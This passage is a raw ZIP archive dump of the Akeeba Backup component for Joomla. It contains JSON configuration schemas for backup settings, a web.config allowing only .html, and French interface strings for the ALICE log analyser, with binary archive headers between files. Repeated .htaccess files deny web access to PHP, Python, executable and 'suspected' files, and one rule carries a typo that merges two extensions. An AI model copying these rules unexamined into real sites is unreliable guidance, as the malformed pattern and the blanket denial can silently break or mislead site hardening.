        "enumkeys": "COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE|COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR|COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING|COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO|COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG",
        "enumvalues": "0|1|2|3|4",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION"
    },
    "akeeba.basic.archive_name": {
        "default": "site-[HOST]-[DATE]-[TIME_TZ]-[RANDOM]",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION"
    },
    "akeeba.basic.backup_type": {
        "default": "full",
        "type": "enum",
        "enumkeys": "COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL|COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY|COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY|COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB|COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE|COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL",
        "enumvalues": "full|dbonly|fileonly|alldb|incfile|incfull",
        "title": "COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION"
    },
    "akeeba.basic.clientsidewait": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION"
    }
}PK     \K    +  platform/Joomla/Config/Pro/02.advanced.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED"
    },
    "akeeba.advanced.dump_engine": {
        "default": "native",
        "type": "engine",
        "subtype": "dump",
        "title": "COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION",
        "protected": "0"
    },
    "akeeba.advanced.scan_engine": {
        "default": "smart",
        "type": "engine",
        "subtype": "scan",
        "title": "COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION",
        "protected": "0"
    },
    "akeeba.advanced.archiver_engine": {
        "default": "jpa",
        "type": "engine",
        "subtype": "archiver",
        "title": "COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION"
    },
    "akeeba.advanced.postproc_engine": {
        "default": "none",
        "type": "engine",
        "subtype": "postproc",
        "title": "COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION",
        "protected": "0"
    },
    "akeeba.advanced.uploadkickstart": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION"
    },
    "akeeba.advanced.embedded_installer": {
        "default": "brs",
        "type": "installer",
        "title": "COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION",
        "protected": "0"
    },
    "engine.installer.angie.key": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION",
        "protected": "0"
    },
    "akeeba.advanced.virtual_folder": {
        "default": "external_files",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION"
    }
}PK     \Sʉ      $  platform/Joomla/Config/Pro/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ         platform/Joomla/Config/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        platform/Joomla/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|N      platform/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        platform/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \A`B    '  language/fr-FR/com_akeebabackup.sys.ininu [        ;; Installation package description
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="Le composant de sauvegarde Joomla!&trade; le plus populaire"

;; Permissions
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Sauvegarde"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Permet d'effectuer des sauvegardes avec Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Configurer"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Permet de configurer les profils Akeeba Backup et d'utiliser la restauration intégrée (si disponible)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Télécharger"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Permet de télécharger, téléverser et gérer les archives Akeeba Backup, ainsi que d'utiliser l'assistant de transfert de site (si disponible)."

;; Menu items
;; ================================================================================
;; For the admin menu manager which uses the name attribute of the XML manifest
AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; For the default menu item
COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Default submenus
COM_AKEEBABACKUP_CONTROLPANEL="Tableau de bord"
COM_AKEEBABACKUP_CONFIGURATION="Configuration du profil"
COM_AKEEBABACKUP_BACKUP="Sauvegarder maintenant"
COM_AKEEBABACKUP_MANAGE="Gérer les sauvegardes"

;; Custom form Fields
;; ================================================================================
COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(Aucun)"

;; Custom menu items (backend menu editor)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Tableau de bord"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="La page principale d'Akeeba Backup qui vous permet de configurer, d'effectuer, de gérer et de restaurer des sauvegardes."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Sauvegarde"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Effectuer une sauvegarde"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Forcer le profil de sauvegarde"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Sélectionnez le profil de sauvegarde à utiliser avant d'effectuer une sauvegarde. Choisissez « (Aucun) » pour utiliser le profil de sauvegarde actuel, quel qu'il soit."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Démarrer immédiatement"
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="La sauvegarde doit-elle démarrer immédiatement ? Si c'est le cas, l'utilisateur n'aura pas la possibilité de saisir une description et des commentaires pour la sauvegarde."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Masquer la barre d'outils"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="La barre d'outils contenant les boutons Aide et Tableau de bord doit-elle être masquée ?"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="URL de retour"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Saisissez une URL interne vers laquelle rediriger l'utilisateur une fois la sauvegarde terminée. Par exemple : saisissez <code>index.php</code> pour revenir au tableau de bord de Joomla, ou <code>index.php%3Foption%26com_akeeba</code> pour revenir au tableau de bord d'Akeeba Backup. <br/> <strong>AVERTISSEMENT</strong> En raison du fonctionnement du gestionnaire de menus Joomla!, l'URL que vous saisissez DOIT être encodée en URL. Vous pouvez le faire en enregistrant l'élément de menu <em>deux fois de suite</em>. Il s'agit d'un bug connu / d'une fonctionnalité manquante dans Joomla! lui-même."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Configuration"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Configurer le profil de sauvegarde actuellement actif."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Gérer les sauvegardes"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Gérer les tentatives de sauvegarde, y compris la restauration d'une sauvegarde antérieure."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Restaurer la dernière sauvegarde"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Restaure la dernière sauvegarde effectuée avec un profil de sauvegarde spécifique. Veuillez lire la documentation."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Profil de sauvegarde"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Restaure la dernière sauvegarde effectuée avec ce profil de sauvegarde. <strong>IMPORTANT !</strong> Seule la dernière sauvegarde effectuée avec ce profil sera recherchée. L'archive de sauvegarde DOIT exister sur votre serveur. Si vous l'avez supprimée ou si elle est stockée à distance, vous obtiendrez une erreur. La restauration de sauvegardes stockées à distance nécessite de vous rendre d'abord dans Gérer les sauvegardes et de les rapatrier sur votre serveur."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Assistant de transfert de site"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Permet de restaurer la dernière sauvegarde vers un emplacement ou un serveur différent. <strong>IMPORTANT !</strong> Seule la dernière sauvegarde effectuée sera recherchée. L'archive de sauvegarde DOIT exister sur votre serveur. Si vous l'avez supprimée ou si elle est stockée à distance, il vous sera demandé d'effectuer une nouvelle sauvegarde. Le transfert de sauvegardes stockées à distance nécessite de vous rendre d'abord dans Gérer les sauvegardes et de les rapatrier sur votre serveur."
PK     \#,[ [ #  language/fr-FR/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>for Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Dépannage - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="L'analyse du journal est terminée"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Erreur détectée"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="Si vous ne comprenez pas ce que signifie l'erreur ci-dessus et que vous disposez d'un abonnement d'assistance actif sur notre site, veuillez déposer une demande d'assistance en incluant tout le texte de cette page. Cela nous permettra de vous aider le plus efficacement possible. Merci !"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="Si la solution présentée ci-dessus ne vous a pas aidé à résoudre votre problème et que vous disposez d'un abonnement d'assistance actif sur notre site, veuillez déposer une demande d'assistance comprenant : 1. un fichier ZIP avec votre fichier journal de sauvegarde ; et 2. le texte de cette page. Veuillez ne pas inclure <em>uniquement</em> ces informations, cela ralentira nos réponses et les rendra moins précises. Essayez également de décrire votre problème de sauvegarde plus en détail, par exemple pourquoi vous pensez qu'il y a un problème, quand le problème a commencé, les mesures correctives que vous avez prises vous-même et toute information que vous pensez être utile pour nous aider à mieux comprendre ce qui se passe."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Solution possible :"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="ALICE a terminé son analyse du journal. Un total de %d vérifications différentes ont été exécutées."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="Nous avons détecté un problème majeur qui peut avoir causé l'échec de votre sauvegarde."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="Aucun problème de sauvegarde n'a été détecté."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="Nous n'avons détecté que quelques problèmes mineurs qui ne provoquent généralement pas d'échec de sauvegarde."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Avertissements détectés"
COM_AKEEBABACKUP_ALICE_ANALYZE="Analyser le journal"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Veuillez patienter. L'analyse de votre journal va commencer dans un instant."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="Vérification des erreurs du système de fichiers"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Répertoires volumineux"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="Les répertoires suivants ont un très grand nombre d'éléments : \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="Vous devriez passer le moteur d'analyse à <strong>Large Site Scanner</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Problèmes de fichiers volumineux"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="Les fichiers suivants sont trop volumineux et peuvent causer des problèmes de sauvegarde : \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Veuillez essayer d'exclure ces fichiers en utilisant la fonctionnalité d'exclusion de fichiers et répertoires ou de les supprimer si vous êtes sûr de ne pas en avoir besoin sur votre site."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Installations multiples de Joomla!"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Des installations Joomla! ont été trouvées dans les sous-répertoires suivants : \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="Vous devriez exclure ces sous-répertoires car ils pourraient entraîner des problèmes de délai d'attente."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Anciennes sauvegardes incluses"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="Les anciennes sauvegardes suivantes sont incluses dans la sauvegarde actuelle : \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Supprimez ou excluez-les de la sauvegarde."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Progression de l'analyse"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="L'analyseur de journal a détecté un ou plusieurs problèmes de sauvegarde. Si le suivi des suggestions de cet analyseur de journal et des instructions de notre documentation de dépannage ne fonctionne pas et que vous avez un abonnement actif sur notre site, veuillez déposer un nouveau ticket en collant le <em>texte de sortie d'analyse du journal</em> suivant pour nous aider à vous fournir une assistance plus rapide."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="Vérification des exigences système"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Type et version de la base de données"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="Akeeba Backup ne prend en charge que MySQL 5.0.47 ou version ultérieure"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="Nous n'avons pas pu détecter votre type de base de données. Type détecté : %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="Votre serveur de base de données n'est pas encore pris en charge. Type de base de données détecté : %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="Version de la base de données trop ancienne. Version détectée : %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Permissions de la base de données"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="Il semble que vous ne puissiez pas exécuter les instructions SHOW TABLE et/ou SHOW VIEW sur votre base de données."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Veuillez contacter votre hébergeur"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Mémoire disponible"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Veuillez contacter votre hébergeur et lui demander des instructions pour augmenter la limite de mémoire PHP."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="Akeeba Backup a besoin d'au moins 16 Mo de mémoire disponible. Mémoire disponible détectée : %s Mo"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="Version PHP"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="Version PHP trop ancienne. Version détectée : %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="Akeeba Backup nécessite PHP 5.6 ou PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="Vérification des erreurs d'exécution"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Intégrité de l'installation"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="Il semble que votre installation soit défectueuse. Cela peut se produire lorsque l'hébergeur applique des règles de sécurité très strictes, identifiant à tort les fichiers Akeeba Backup comme des menaces de sécurité et les supprimant ou les renommant sans vous le demander."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Veuillez réinstaller Akeeba Backup <strong>sans le désinstaller</strong>. Si cela n'aide pas, veuillez contacter votre hébergeur immédiatement."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Base de données supplémentaire - Inclusion de la base de données Joomla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="Vous avez ajouté la base de données Joomla comme base de données supplémentaire ; certains serveurs peuvent refuser une seconde connexion à la même base de données, entraînant une erreur de sauvegarde"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Supprimez la base de données Joomla des bases de données supplémentaires"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="Impossible de détecter le profil utilisé, test ignoré"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Base de données supplémentaire - Détails d'accès incorrects"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="Une (ou plusieurs) base(s) de données supplémentaire(s) a/ont des détails d'accès invalides"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Veuillez vérifier les détails de connexion des bases de données supplémentaires"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="Fichiers journaux d'erreurs"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="Des fichiers journaux d'erreurs sont inclus dans l'archive de sauvegarde :<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="Vous pouvez exclure ces fichiers en utilisant l'expression régulière suivante : <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Erreurs fatales"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="L'erreur fatale suivante s'est produite lors de la prise d'une sauvegarde. Veuillez la vérifier et la corriger avant de continuer : \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="Si vous ne comprenez pas ce que cela signifie et que vous avez un abonnement actif à notre site, veuillez déposer un nouveau ticket d'assistance en vous assurant que 1. vous avez compressé et joint le fichier journal de sauvegarde et 2. vous avez collé le texte de sortie visible en haut de cette page."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Problèmes de sauvegarde de l'état du moteur de sauvegarde"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="Il semble qu'une seule requête ait été traitée plus d'une fois par votre serveur. Cela entraîne des échecs pendant le processus de sauvegarde ou des archives corrompues ; vous devriez contacter votre hébergeur et signaler ce problème."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="Tentative de démarrer l'étape %s plus d'une fois."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Moteur de traitement ultérieur et taille des parties d'archive"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="Un moteur de traitement ultérieur est trouvé, mais aucune taille de partie n'est définie ; cela pourrait entraîner des problèmes de délai d'attente"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Définissez une taille de partie dans la configuration du profil de sauvegarde."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Délai d'attente dépassé pendant la sauvegarde"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="Il y a déjà un problème avec la sauvegarde de l'état du moteur de sauvegarde. Veuillez le résoudre avant de continuer."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="Le script de sauvegarde a atteint une limite de délai d'attente. Délai d'attente détecté : %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Veuillez essayer de définir le temps d'exécution minimum à 1, le temps d'exécution maximum à 10 secondes (ou si le délai d'attente PHP est inférieur à 10 secondes, utilisez 75% du délai d'attente PHP), biais d'exécution 75%"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Nombre de tables en cours de sauvegarde"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="Vous essayez de sauvegarder trop de tables. Veuillez éviter de sauvegarder différentes installations Joomla! en même temps."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="Vous pouvez exclure les tables non essentielles en utilisant l'expression régulière suivante : <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Nombre de lignes dans les tables"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="Vous essayez de sauvegarder des tables avec beaucoup de lignes (plus d'1 million) :\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="lignes"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="Vous devriez exclure ces tables en utilisant la fonctionnalité <strong>Exclusion des tables de base de données</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Table"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Problèmes d'écriture de l'archive de sauvegarde"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="Impossible d'ouvrir le fichier d'archive pour l'ajouter."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Veuillez vérifier si vous avez suffisamment d'espace disque, si les ressources sont épuisées ou si vous devez empêcher la sauvegarde système (Windows) et l'analyse antivirus pendant la sauvegarde."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="L'analyse du journal a échoué"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="L'analyse du journal a été interrompue. L'analyseur de journal a signalé l'erreur suivante :"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="L'analyse du fichier journal a échoué : impossible d'ouvrir le fichier journal %s en lecture."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Vérification effectuée"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Résultat"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="Aucun fichier journal pour les sauvegardes <strong>échouées</strong> n'a été trouvé."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="ALICE ne fonctionne que sur les sauvegardes <em>échouées</em>"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="ALICE est un outil pour analyser les fichiers journaux des sauvegardes <em>échouées</em> et — dans la plupart des cas — vous donner la cause la plus probable de l'échec de la sauvegarde. Il n'est pas destiné à analyser les fichiers journaux des sauvegardes réussies. Cela renverrait des résultats sans signification, trompeurs ou carrément erronés. Pour cette raison, nous ne vous montrerons que les fichiers journaux des sauvegardes <em>échouées</em>."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Veuillez noter que les sauvegardes dont le téléversement de l'archive de sauvegarde vers le stockage distant n'a pas été achevé ne sont pas considérées comme échouées. La cause première de ces problèmes ne peut de toute façon pas être détectée par ALICE. Si vous avez ce type de problème, vous devez déposer un ticket d'assistance dans la section Support de notre site. Si quelqu'un d'autre a installé Akeeba Backup Professional sur votre site, veuillez contacter cette personne à la place ; vous ne pourrez pas déposer un ticket d'assistance sur notre site dans ce cas."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="Si votre sauvegarde a échoué mais que vous ne la voyez pas sur cette page, veuillez attendre <em>trois (3) minutes</em>, retournez à la page du tableau de bord Akeeba Backup et revenez ici. Il y a une raison à cela. Dans certains cas, l'échec de la sauvegarde est causé par une erreur du serveur. Dans ces cas, la sauvegarde est marquée comme étant toujours en cours au lieu d'échouée car PHP cesse de fonctionner, donc notre code PHP qui marquerait la sauvegarde comme échouée n'a pas la chance de s'exécuter. Lorsque vous visitez la page du tableau de bord, toute sauvegarde marquée comme toujours en cours pendant plus de 3 minutes sera marquée comme échouée. D'où la nécessité d'attendre et <em>ensuite</em> de retourner à la page du tableau de bord."

COM_AKEEBABACKUP_BACKUP="Sauvegarder maintenant"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Analyser le fichier journal (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="Le script de restauration Akeeba Backup ne sera accessible que si vous fournissez le mot de passe que vous avez configuré sur la page précédente, avant de cliquer sur le bouton Sauvegarder maintenant. Si vous ne vous souvenez pas avoir configuré un mot de passe, votre navigateur a rempli automatiquement le mot de passe sur la page de configuration <strong>sans vous le demander</strong>. C'est ce que font de nombreux gestionnaires de mots de passe et navigateurs."
